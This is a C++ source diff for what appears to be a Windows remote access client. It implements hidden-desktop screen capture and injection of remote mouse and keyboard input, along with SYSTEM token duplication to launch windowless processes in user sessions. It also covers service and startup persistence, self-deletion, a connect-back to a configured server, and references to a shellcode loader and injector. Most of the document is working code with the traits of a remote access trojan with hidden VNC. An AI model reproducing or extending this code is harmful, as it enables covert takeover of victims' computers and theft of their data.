std::string GetTitle(HWND hWnd) {
|
||||
char title[256] = { 0 }; // 预留缓冲区(置零,避免无标题/无效窗口时读到未初始化内存)
|
||||
GetWindowTextA(hWnd, title, sizeof(title));
|
||||
return title;
|
||||
}
|
||||
|
||||
virtual bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName) {
|
||||
bool bReturn = false;
|
||||
|
||||
try {
|
||||
if (!pszApplicationFilePath || !pszDesktopName || !strlen(pszApplicationFilePath) || !strlen(pszDesktopName))
|
||||
return false;
|
||||
|
||||
TCHAR szDirectoryName[MAX_PATH * 2] = { 0 };
|
||||
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
|
||||
|
||||
strcpy_s(szDirectoryName, strlen(pszApplicationFilePath) + 1, pszApplicationFilePath);
|
||||
|
||||
std::wstring path = ConvertToWString(pszApplicationFilePath);
|
||||
if (!PathIsExe(path.c_str()))
|
||||
return false;
|
||||
PathRemoveFileSpec(szDirectoryName);
|
||||
STARTUPINFO sInfo = { 0 };
|
||||
PROCESS_INFORMATION pInfo = { 0 };
|
||||
|
||||
sInfo.cb = sizeof(sInfo);
|
||||
sInfo.lpDesktop = pszDesktopName;
|
||||
|
||||
//Launching a application into desktop
|
||||
BOOL bCreateProcessReturn = CreateProcess(pszApplicationFilePath,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
TRUE,
|
||||
NORMAL_PRIORITY_CLASS,
|
||||
NULL,
|
||||
szDirectoryName,
|
||||
&sInfo,
|
||||
&pInfo);
|
||||
CloseHandle(pInfo.hProcess);
|
||||
CloseHandle(pInfo.hThread);
|
||||
TCHAR* pszError = NULL;
|
||||
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
|
||||
NULL, GetLastError(), 0, reinterpret_cast<LPTSTR>(&pszError), 0, NULL);
|
||||
|
||||
if (pszError) {
|
||||
Mprintf("CreateProcess [%s] failed: %s\n", pszApplicationFilePath, pszError);
|
||||
LocalFree(pszError); // 释放内存
|
||||
}
|
||||
|
||||
if (bCreateProcessReturn)
|
||||
bReturn = true;
|
||||
|
||||
}
|
||||
catch (...) {
|
||||
bReturn = false;
|
||||
}
|
||||
|
||||
return bReturn;
|
||||
}
|
||||
|
||||
virtual VOID SendBitMapInfo() {
|
||||
const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER);
|
||||
LPBYTE szBuffer = new BYTE[ulLength];
|
||||
szBuffer[0] = m_DlgToken;
|
||||
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
|
||||
m_ClientObject->Send2Server((char*)szBuffer, ulLength);
|
||||
SAFE_DELETE_ARRAY(szBuffer);
|
||||
}
|
||||
|
||||
virtual void SendScreenSize()
|
||||
{
|
||||
RECT rect = m_ScreenSpyObject->GetScreenRect();
|
||||
BYTE lpBuffer[sizeof(RECT) + 1];
|
||||
lpBuffer[0] = TOKEN_SCREEN_SIZE;
|
||||
memcpy(lpBuffer + 1, &rect, sizeof(RECT));
|
||||
Send(lpBuffer, sizeof(lpBuffer));
|
||||
}
|
||||
|
||||
virtual VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength) {
|
||||
int msgSize = sizeof(MYMSG);
|
||||
if (ulLength % 28 == 0) // 32位控制端发过来的消息
|
||||
msgSize = 28;
|
||||
else if (ulLength % 48 == 0) // 64位控制端发过来的消息
|
||||
msgSize = 48;
|
||||
else return; // 数据包不合法
|
||||
ULONG ulMsgCount = ulLength / msgSize;
|
||||
BYTE* ptr = szBuffer;
|
||||
MSG32 msg32;
|
||||
MSG64 msg64;
|
||||
if (nullptr == g_hDesk) {
|
||||
// 命令个数
|
||||
// 处理多个命令
|
||||
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
|
||||
MYMSG* Msg = msgSize == 48 ? (MYMSG*)ptr :
|
||||
(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
|
||||
switch (Msg->message) {
|
||||
case WM_LBUTTONDOWN: case WM_LBUTTONUP:
|
||||
case WM_RBUTTONDOWN: case WM_RBUTTONUP:
|
||||
case WM_LBUTTONDBLCLK: case WM_RBUTTONDBLCLK: case WM_MBUTTONDBLCLK:
|
||||
case WM_MBUTTONDOWN: case WM_MBUTTONUP:
|
||||
case WM_MOUSEMOVE: {
|
||||
POINT Point;
|
||||
Point.x = LOWORD(Msg->lParam);
|
||||
Point.y = HIWORD(Msg->lParam);
|
||||
m_ScreenSpyObject->PointConversion(Point);
|
||||
SetCursorPos(Point.x, Point.y);
|
||||
SetCapture(WindowFromPoint(Point));
|
||||
}
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
switch (Msg->message) {
|
||||
case WM_LBUTTONDOWN:
|
||||
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_LBUTTONUP:
|
||||
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_RBUTTONDOWN:
|
||||
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_RBUTTONUP:
|
||||
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_LBUTTONDBLCLK:
|
||||
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||||
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_RBUTTONDBLCLK:
|
||||
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||||
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_MBUTTONDBLCLK:
|
||||
mouse_event(MOUSEEVENTF_MIDDLEDOWN | MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
|
||||
mouse_event(MOUSEEVENTF_MIDDLEDOWN | MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_MBUTTONDOWN:
|
||||
mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_MBUTTONUP:
|
||||
mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_MOUSEWHEEL:
|
||||
mouse_event(MOUSEEVENTF_WHEEL, 0, 0, GET_WHEEL_DELTA_WPARAM(Msg->wParam), 0);
|
||||
break;
|
||||
case WM_KEYDOWN: case WM_SYSKEYDOWN:
|
||||
keybd_event(Msg->wParam, MapVirtualKeyA(Msg->wParam, 0), 0, 0);
|
||||
break;
|
||||
case WM_KEYUP: case WM_SYSKEYUP:
|
||||
keybd_event(Msg->wParam, MapVirtualKeyA(Msg->wParam, 0), KEYEVENTF_KEYUP, 0);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else { // 虚拟桌面
|
||||
HWND hWnd = NULL;
|
||||
BOOL mouseMsg = FALSE;
|
||||
POINT lastPointCopy = {};
|
||||
SetThreadDesktop(g_hDesk);
|
||||
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
|
||||
MYMSG* msg = msgSize == 48 ? (MYMSG*)ptr :
|
||||
(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
|
||||
switch (msg->message) {
|
||||
case WM_KEYUP:
|
||||
return;
|
||||
case WM_CHAR:
|
||||
|
||||
case WM_KEYDOWN: {
|
||||
m_point = m_lastPoint;
|
||||
hWnd = WindowFromPoint(m_point);
|
||||
break;
|
||||
}
|
||||
case WM_RBUTTONDOWN: {
|
||||
// 记录右键按下时的坐标
|
||||
m_rmouseDown = TRUE;
|
||||
m_rclickPoint = msg->pt;
|
||||
break;
|
||||
}
|
||||
case WM_RBUTTONUP: {
|
||||
m_rmouseDown = FALSE;
|
||||
m_rclickWnd = WindowFromPoint(m_rclickPoint);
|
||||
// 检查是否为系统菜单(如任务栏)
|
||||
char szClass[256] = { 0 };
|
||||
GetClassNameA(m_rclickWnd, szClass, sizeof(szClass));
|
||||
Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(m_rclickWnd).c_str(), m_rclickWnd);
|
||||
if (strcmp(szClass, "Shell_TrayWnd") == 0) {
|
||||
// 触发系统级右键菜单(任务栏)
|
||||
PostMessage(m_rclickWnd, WM_CONTEXTMENU, (WPARAM)m_rclickWnd,
|
||||
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y));
|
||||
}
|
||||
else {
|
||||
// 普通窗口的右键菜单
|
||||
if (!PostMessage(m_rclickWnd, WM_RBUTTONUP, msg->wParam,
|
||||
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y))) {
|
||||
// 附加:模拟键盘按下Shift+F10(备用菜单触发方式)
|
||||
keybd_event(VK_SHIFT, 0, 0, 0);
|
||||
keybd_event(VK_F10, 0, 0, 0);
|
||||
keybd_event(VK_F10, 0, KEYEVENTF_KEYUP, 0);
|
||||
keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
default:
|
||||
{
|
||||
mouseMsg = TRUE;
|
||||
m_point = msg->pt;
|
||||
hWnd = WindowFromPoint(m_point);
|
||||
lastPointCopy = m_lastPoint;
|
||||
m_lastPoint = m_point;
|
||||
if (msg->message == WM_LBUTTONUP) {
|
||||
if (m_rclickWnd && hWnd != m_rclickWnd)
|
||||
{
|
||||
PostMessageA(m_rclickWnd, WM_LBUTTONDOWN, MK_LBUTTON, 0);
|
||||
PostMessageA(m_rclickWnd, WM_LBUTTONUP, MK_LBUTTON, 0);
|
||||
m_rclickWnd = nullptr;
|
||||
}
|
||||
m_lmouseDown = FALSE;
|
||||
LRESULT lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
|
||||
switch (lResult) {
|
||||
case HTTRANSPARENT: {
|
||||
SetWindowLongA(hWnd, GWL_STYLE, GetWindowLongA(hWnd, GWL_STYLE) | WS_DISABLED);
|
||||
lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
|
||||
break;
|
||||
}
|
||||
case HTCLOSE: {// 关闭窗口
|
||||
PostMessageA(hWnd, WM_CLOSE, 0, 0);
|
||||
Mprintf("Close window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
|
||||
break;
|
||||
}
|
||||
case HTMINBUTTON: {// 最小化
|
||||
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, 0);
|
||||
Mprintf("Minsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
|
||||
break;
|
||||
}
|
||||
case HTMAXBUTTON: {// 最大化
|
||||
WINDOWPLACEMENT windowPlacement;
|
||||
windowPlacement.length = sizeof(windowPlacement);
|
||||
GetWindowPlacement(hWnd, &windowPlacement);
|
||||
if (windowPlacement.flags & SW_SHOWMAXIMIZED)
|
||||
PostMessageA(hWnd, WM_SYSCOMMAND, SC_RESTORE, 0);
|
||||
else
|
||||
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0);
|
||||
Mprintf("Maxsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
else if (msg->message == WM_LBUTTONDOWN) {
|
||||
m_lmouseDown = TRUE;
|
||||
m_hResMoveWindow = NULL;
|
||||
RECT startButtonRect;
|
||||
HWND hStartButton = FindWindowA((PCHAR)"Button", NULL);
|
||||
GetWindowRect(hStartButton, &startButtonRect);
|
||||
if (PtInRect(&startButtonRect, m_point)) {
|
||||
PostMessageA(hStartButton, BM_CLICK, 0, 0); // 模拟开始按钮点击
|
||||
continue;
|
||||
}
|
||||
else {
|
||||
char windowClass[MAX_PATH] = { 0 };
|
||||
RealGetWindowClassA(hWnd, windowClass, MAX_PATH);
|
||||
if (!lstrcmpA(windowClass, "#32768")) {
|
||||
HMENU hMenu = (HMENU)SendMessageA(hWnd, MN_GETHMENU, 0, 0);
|
||||
int itemPos = MenuItemFromPoint(NULL, hMenu, m_point);
|
||||
int itemId = GetMenuItemID(hMenu, itemPos);
|
||||
PostMessageA(hWnd, 0x1e5, itemPos, 0);
|
||||
PostMessageA(hWnd, WM_KEYDOWN, VK_RETURN, 0);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
else if (msg->message == WM_MOUSEMOVE) {
|
||||
if (!m_lmouseDown)
|
||||
continue;
|
||||
if (!m_hResMoveWindow)
|
||||
m_resMoveType = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
|
||||
else
|
||||
hWnd = m_hResMoveWindow;
|
||||
int moveX = lastPointCopy.x - m_point.x;
|
||||
int moveY = lastPointCopy.y - m_point.y;
|
||||
|
||||
RECT rect;
|
||||
GetWindowRect(hWnd, &rect);
|
||||
int x = rect.left;
|
||||
int y = rect.top;
|
||||
int width = rect.right - rect.left;
|
||||
int height = rect.bottom - rect.top;
|
||||
switch (m_resMoveType) {
|
||||
case HTCAPTION: {
|
||||
x -= moveX;
|
||||
y -= moveY;
|
||||
break;
|
||||
}
|
||||
case HTTOP: {
|
||||
y -= moveY;
|
||||
height += moveY;
|
||||
break;
|
||||
}
|
||||
case HTBOTTOM: {
|
||||
height -= moveY;
|
||||
break;
|
||||
}
|
||||
case HTLEFT: {
|
||||
x -= moveX;
|
||||
width += moveX;
|
||||
break;
|
||||
}
|
||||
case HTRIGHT: {
|
||||
width -= moveX;
|
||||
break;
|
||||
}
|
||||
case HTTOPLEFT: {
|
||||
y -= moveY;
|
||||
height += moveY;
|
||||
x -= moveX;
|
||||
width += moveX;
|
||||
break;
|
||||
}
|
||||
case HTTOPRIGHT: {
|
||||
y -= moveY;
|
||||
height += moveY;
|
||||
width -= moveX;
|
||||
break;
|
||||
}
|
||||
case HTBOTTOMLEFT: {
|
||||
height -= moveY;
|
||||
x -= moveX;
|
||||
width += moveX;
|
||||
break;
|
||||
}
|
||||
case HTBOTTOMRIGHT: {
|
||||
height -= moveY;
|
||||
width -= moveX;
|
||||
break;
|
||||
}
|
||||
default:
|
||||
continue;
|
||||
}
|
||||
MoveWindow(hWnd, x, y, width, height, FALSE);
|
||||
m_hResMoveWindow = hWnd;
|
||||
continue;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
for (HWND currHwnd = hWnd;;) {
|
||||
hWnd = currHwnd;
|
||||
ScreenToClient(currHwnd, &m_point);
|
||||
currHwnd = ChildWindowFromPoint(currHwnd, m_point);
|
||||
if (!currHwnd || currHwnd == hWnd)
|
||||
break;
|
||||
}
|
||||
if (mouseMsg)
|
||||
msg->lParam = MAKELPARAM(m_point.x, m_point.y);
|
||||
PostMessage(hWnd, msg->message, (WPARAM)msg->wParam, msg->lParam);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public: // 纯虚函数
|
||||
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) = 0;
|
||||
virtual void InitScreenSpy() = 0;
|
||||
|
||||
HDESK g_hDesk;
|
||||
std::string m_DesktopID;
|
||||
void* m_ptrUser;
|
||||
ScreenCapture* m_ScreenSpyObject;
|
||||
BOOL m_bIsWorking;
|
||||
long m_oldwidth, m_oldheigh;
|
||||
int m_biBitCount;
|
||||
int m_fps;
|
||||
int m_DlgToken; // 这个值决定打开哪个对话框
|
||||
HANDLE m_hWorkThread, m_hBlankThread;
|
||||
|
||||
// 虚拟桌面
|
||||
POINT m_point;
|
||||
POINT m_lastPoint;
|
||||
BOOL m_lmouseDown;
|
||||
HWND m_hResMoveWindow;
|
||||
LRESULT m_resMoveType;
|
||||
BOOL m_rmouseDown; // 标记右键是否按下
|
||||
POINT m_rclickPoint; // 右键点击坐标
|
||||
HWND m_rclickWnd; // 右键窗口
|
||||
};
|
||||
|
||||
} // namespace SimplePluginsScreenHide
|
||||
@@ -0,0 +1,176 @@
|
||||
#include "session.h"
|
||||
#include <wtsapi32.h>
|
||||
#include <userenv.h>
|
||||
#include <wtsapi32.h>
|
||||
#include <stdio.h>
|
||||
#include "common/logger.h"
|
||||
#pragma comment(lib, "Wtsapi32.lib")
|
||||
#pragma comment(lib, "Userenv.lib")
|
||||
#define SAFE_CLOSE_HANDLE(h) do{if((h)!=NULL&&(h)!=INVALID_HANDLE_VALUE){CloseHandle(h);(h)=NULL;}}while(0)
|
||||
|
||||
static DWORD g_lastIndex = 0;
|
||||
|
||||
DWORD GetNextSessionRoundRobin()
|
||||
{
|
||||
PWTS_SESSION_INFOA sessions = NULL;
|
||||
DWORD count = 0;
|
||||
|
||||
if (!WTSEnumerateSessionsA(
|
||||
WTS_CURRENT_SERVER_HANDLE,
|
||||
0,
|
||||
1,
|
||||
&sessions,
|
||||
&count))
|
||||
{
|
||||
Mprintf("WTSEnumerateSessionsA Failed: %d\n", GetLastError());
|
||||
return 0xFFFFFFFF;
|
||||
}
|
||||
|
||||
if (count == 0)
|
||||
{
|
||||
Mprintf("WTSEnumerateSessionsA Failed: count=0\n");
|
||||
WTSFreeMemory(sessions);
|
||||
return 0xFFFFFFFF;
|
||||
}
|
||||
|
||||
DWORD start = g_lastIndex;
|
||||
|
||||
for (DWORD i = 0; i < count; i++)
|
||||
{
|
||||
DWORD idx = (start + i) % count;
|
||||
|
||||
DWORD sessionId = sessions[idx].SessionId;
|
||||
|
||||
// 过滤无效 session
|
||||
if (sessionId == 0)
|
||||
continue;
|
||||
|
||||
WTS_CONNECTSTATE_CLASS* state = NULL;
|
||||
DWORD bytes = 0;
|
||||
|
||||
if (WTSQuerySessionInformationA(
|
||||
WTS_CURRENT_SERVER_HANDLE,
|
||||
sessionId,
|
||||
WTSConnectState,
|
||||
(LPSTR*)&state,
|
||||
&bytes))
|
||||
{
|
||||
BOOL ok = (state && (
|
||||
*state == WTSActive ||
|
||||
*state == WTSConnected));
|
||||
|
||||
WTSFreeMemory(state);
|
||||
|
||||
if (ok)
|
||||
{
|
||||
g_lastIndex = (idx + 1) % count;
|
||||
DWORD result = sessionId;
|
||||
WTSFreeMemory(sessions);
|
||||
Mprintf("GetNextSessionRoundRobin Succeed: session=%d\n", result);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
WTSFreeMemory(sessions);
|
||||
return 0xFFFFFFFF;
|
||||
}
|
||||
|
||||
BOOL StartProcessInSessionA(DWORD sessionId, const char* exePath, BYTE cmd)
|
||||
{
|
||||
HANDLE hToken = NULL;
|
||||
HANDLE hDupToken = NULL;
|
||||
// 获取当前服务进程的 SYSTEM 令牌
|
||||
char buf[500];
|
||||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) {
|
||||
sprintf(buf, "OpenProcessToken failed: %d\n", (int)GetLastError());
|
||||
Mprintf(buf);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 复制为可用于创建进程的主令牌
|
||||
if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL,
|
||||
SecurityImpersonation, TokenPrimary, &hDupToken)) {
|
||||
sprintf(buf, "DuplicateTokenEx failed: %d\n", (int)GetLastError());
|
||||
Mprintf(buf);
|
||||
SAFE_CLOSE_HANDLE(hToken);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 修改令牌的会话 ID 为目标用户会话
|
||||
if (!SetTokenInformation(hDupToken, TokenSessionId, &sessionId, sizeof(sessionId))) {
|
||||
sprintf(buf, "SetTokenInformation failed: %d\n", (int)GetLastError());
|
||||
Mprintf(buf);
|
||||
SAFE_CLOSE_HANDLE(hDupToken);
|
||||
SAFE_CLOSE_HANDLE(hToken);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
Mprintf("Token duplicated");
|
||||
|
||||
char path[MAX_PATH];
|
||||
if (!exePath)
|
||||
GetModuleFileNameA(NULL, path, MAX_PATH);
|
||||
else
|
||||
lstrcpyA(path, exePath);
|
||||
|
||||
// 获取用户令牌(用于获取环境块)
|
||||
LPVOID lpEnvironment = NULL;
|
||||
HANDLE hUserToken = NULL;
|
||||
if (!WTSQueryUserToken(sessionId, &hUserToken)) {
|
||||
Mprintf( "WTSQueryUserToken failed: %d\n", (int)GetLastError());
|
||||
}
|
||||
|
||||
// 使用用户令牌创建环境块
|
||||
if (hUserToken) {
|
||||
if (!CreateEnvironmentBlock(&lpEnvironment, hUserToken, FALSE)) {
|
||||
Mprintf("CreateEnvironmentBlock failed: %d\n", GetLastError());
|
||||
}
|
||||
CloseHandle(hUserToken);
|
||||
}
|
||||
|
||||
STARTUPINFOA si = { 0 };
|
||||
PROCESS_INFORMATION pi = { 0 };
|
||||
|
||||
si.cb = sizeof(si);
|
||||
si.lpDesktop = (LPSTR)"winsta0\\default";
|
||||
char cmdStr[300];
|
||||
sprintf(cmdStr, "\"%s\" -cmd=%d", path, int(cmd));
|
||||
BOOL result = CreateProcessAsUserA(
|
||||
hDupToken,
|
||||
NULL,
|
||||
(LPSTR)cmdStr,
|
||||
NULL,
|
||||
NULL,
|
||||
FALSE,
|
||||
NORMAL_PRIORITY_CLASS | CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT,
|
||||
lpEnvironment,
|
||||
NULL,
|
||||
&si,
|
||||
&pi);
|
||||
|
||||
if (result)
|
||||
{
|
||||
Mprintf("CreateProcessAsUserA Succeed\n");
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
}
|
||||
else {
|
||||
Mprintf("CreateProcessAsUserA Failed [%d]: %s\n", GetLastError(), cmdStr);
|
||||
}
|
||||
|
||||
CloseHandle(hDupToken);
|
||||
CloseHandle(hToken);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
void RunRoundRobinAgent(BYTE cmd)
|
||||
{
|
||||
DWORD sessionId = GetNextSessionRoundRobin();
|
||||
|
||||
if (sessionId == 0xFFFFFFFF)
|
||||
return;
|
||||
|
||||
StartProcessInSessionA(sessionId, NULL, cmd);
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
#include <windows.h>
|
||||
|
||||
DWORD GetNextSessionRoundRobin();
|
||||
|
||||
BOOL StartProcessInSessionA(DWORD sessionId, const char* exePath, BYTE cmd);
|
||||
|
||||
void RunRoundRobinAgent(BYTE cmd);
|
||||
+75
-53
@@ -8,6 +8,7 @@
|
||||
#include <common/md5.h>
|
||||
#include <common/iniFile.h>
|
||||
#include "auto_start.h"
|
||||
#include "Common.h"
|
||||
// A shell code loader connect to 127.0.0.1:6543.
|
||||
// Build: xxd -i TinyRun.dll > SCLoader.cpp
|
||||
// #include "SCLoader.cpp"
|
||||
@@ -27,6 +28,8 @@ typedef bool (*IsStoped)();
|
||||
|
||||
typedef BOOL (*IsExit)();
|
||||
|
||||
typedef int(*CmdRunner)(LPBYTE szBuffer, int ulLength);
|
||||
|
||||
// 停止程序运行
|
||||
StopRun stop = NULL;
|
||||
|
||||
@@ -60,7 +63,7 @@ BOOL CALLBACK callback(DWORD CtrlType)
|
||||
}
|
||||
|
||||
// 运行程序.
|
||||
BOOL Run(const char* argv1, int argv2);
|
||||
BOOL Run(const char* argv1, int argv2, const std::string& runCmd);
|
||||
|
||||
// Package header.
|
||||
typedef struct PkgHeader {
|
||||
@@ -305,60 +308,65 @@ int InjectShellcode(BYTE* buf, int len) {
|
||||
int main(int argc, const char *argv[])
|
||||
{
|
||||
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc > 1 ? argv[1] : "", argc);
|
||||
InitWindowsService(NewService(
|
||||
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemoService",
|
||||
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo Service",
|
||||
g_ConnectAddress.installDesc[0] ? g_ConnectAddress.installDesc : "Provide a demo service."), Log);
|
||||
bool isService = g_ConnectAddress.iStartup == Startup_TestRunMsc || IsSystemInSession0();
|
||||
// 注册启动项
|
||||
int r = RegisterStartup(
|
||||
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo",
|
||||
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemo",
|
||||
!isService, g_ConnectAddress.runasAdmin, Logf);
|
||||
if (r <= 0) {
|
||||
if (g_ConnectAddress.iStartup == Startup_DLL) {
|
||||
const char* folder = GetInstallDirectory(g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo");
|
||||
if (!folder) {
|
||||
return -1;
|
||||
}
|
||||
char dstFile[MAX_PATH] = { 0 };
|
||||
sprintf(dstFile, "%s\\ServerDll.dll", folder);
|
||||
if (_access(dstFile, 0) == -1) {
|
||||
char curFile[MAX_PATH] = { 0 };
|
||||
GetModuleFileNameA(NULL, curFile, MAX_PATH);
|
||||
GET_FILEPATH(curFile, "ServerDll.dll");
|
||||
if (_access(curFile, 0) == -1) {
|
||||
MessageBoxA(NULL, "ServerDll.dll is required to run this program.", "Missing ServerDll.dll", MB_ICONERROR);
|
||||
bool runCmd = (argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0), isService = false;
|
||||
if (!runCmd) {
|
||||
InitWindowsService(NewService(
|
||||
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemoService",
|
||||
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo Service",
|
||||
g_ConnectAddress.installDesc[0] ? g_ConnectAddress.installDesc : "Provide a demo service."), Log);
|
||||
isService = g_ConnectAddress.iStartup == Startup_TestRunMsc || (IsSystemInSession0()&&g_ConnectAddress.iStartup != Startup_TestRunSystem);
|
||||
bool lockFile = g_ConnectAddress.iStartup != Startup_TestRunMsc && g_ConnectAddress.iStartup != Startup_TestRunSystem && !IsSystemInSession0();
|
||||
// 注册启动项
|
||||
int r = RegisterStartup(
|
||||
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo",
|
||||
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemo",
|
||||
lockFile, g_ConnectAddress.iStartup == Startup_TestRunSystem ? 2 :g_ConnectAddress.runasAdmin, Logf, g_ConnectAddress.installFlag);
|
||||
if (r <= 0) {
|
||||
if (g_ConnectAddress.iStartup == Startup_DLL) {
|
||||
const char* folder = GetInstallDirectory(g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo",
|
||||
g_ConnectAddress.installFlag);
|
||||
if (!folder) {
|
||||
return -1;
|
||||
}
|
||||
MoveFileA(curFile, dstFile);
|
||||
char dstFile[MAX_PATH] = { 0 };
|
||||
sprintf(dstFile, "%s\\ServerDll.dll", folder);
|
||||
if (_access(dstFile, 0) == -1) {
|
||||
char curFile[MAX_PATH] = { 0 };
|
||||
GetModuleFileNameA(NULL, curFile, MAX_PATH);
|
||||
GET_FILEPATH(curFile, "ServerDll.dll");
|
||||
if (_access(curFile, 0) == -1) {
|
||||
MessageBoxA(NULL, "ServerDll.dll is required to run this program.", "Missing ServerDll.dll", MB_ICONERROR);
|
||||
return -1;
|
||||
}
|
||||
MoveFileA(curFile, dstFile);
|
||||
}
|
||||
}
|
||||
BOOL s = self_del();
|
||||
if (!IsDebug) {
|
||||
Mprintf("结束运行.\n");
|
||||
Sleep(1000);
|
||||
return r;
|
||||
}
|
||||
}
|
||||
BOOL s = self_del();
|
||||
if (!IsDebug) {
|
||||
Mprintf("结束运行.\n");
|
||||
Sleep(1000);
|
||||
return r;
|
||||
}
|
||||
}
|
||||
|
||||
BOOL ok = SetSelfStart(argv[0], REG_NAME, Logf);
|
||||
if(!ok) {
|
||||
Mprintf("设置开机自启动失败,请用管理员权限运行.\n");
|
||||
}
|
||||
BOOL ok = SetSelfStart(argv[0], REG_NAME, Logf);
|
||||
if (!ok) {
|
||||
Mprintf("设置开机自启动失败,请用管理员权限运行.\n");
|
||||
}
|
||||
|
||||
if (isService) {
|
||||
bool ret = RunAsWindowsService(argc, argv);
|
||||
Mprintf("RunAsWindowsService %s. Arg Count: %d\n", ret ? "succeed" : "failed", argc);
|
||||
for (int i = 0; !ret && i < argc; i++) {
|
||||
Mprintf(" Arg [%d]: %s\n", i, argv[i]);
|
||||
if (isService) {
|
||||
bool ret = RunAsWindowsService(argc, argv);
|
||||
Mprintf("RunAsWindowsService %s. Arg Count: %d\n", ret ? "succeed" : "failed", argc);
|
||||
for (int i = 0; !ret && i < argc; i++) {
|
||||
Mprintf(" Arg [%d]: %s\n", i, argv[i]);
|
||||
}
|
||||
if (ret) {
|
||||
Mprintf("结束运行.\n");
|
||||
Sleep(1000);
|
||||
return 0x20251202;
|
||||
}
|
||||
g_ConnectAddress.iStartup = Startup_MEMDLL;
|
||||
}
|
||||
if (ret) {
|
||||
Mprintf("结束运行.\n");
|
||||
Sleep(1000);
|
||||
return 0x20251202;
|
||||
}
|
||||
g_ConnectAddress.iStartup = Startup_MEMDLL;
|
||||
}
|
||||
|
||||
status = 0;
|
||||
@@ -376,7 +384,8 @@ int main(int argc, const char *argv[])
|
||||
do {
|
||||
BOOL ret = Run((argc > 1 && argv[1][0] != '-') ? // remark: demo may run with argument "-agent"
|
||||
argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
|
||||
argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort()));
|
||||
